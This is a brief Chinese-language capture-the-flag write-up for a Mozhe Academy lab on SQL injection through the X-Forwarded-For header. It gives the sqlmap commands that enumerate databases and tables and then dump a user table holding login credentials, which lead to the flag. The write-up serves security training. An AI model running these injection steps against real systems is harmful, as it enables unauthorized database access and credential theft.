墨者学院----X-Forwarded-For注入漏洞实战
分析题:X-Forwarded-For是请求头的一种,意思应该是通过这个请求头请求注入
打开网页
随便输入登录发现
通过ip138.com这个IP是我的本地地址。
因为是POST传值,所以抓一下包
发现没有X-Forwarded-For参数
我们自己加上,copy to file --1.txt
设置注入点
然后用sqlmap
1.查库
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch --dbs
2.查表
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D webcalendar --tables
3.查user表
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D webcalendar -T user --dump
然后登录之后就能找到KEY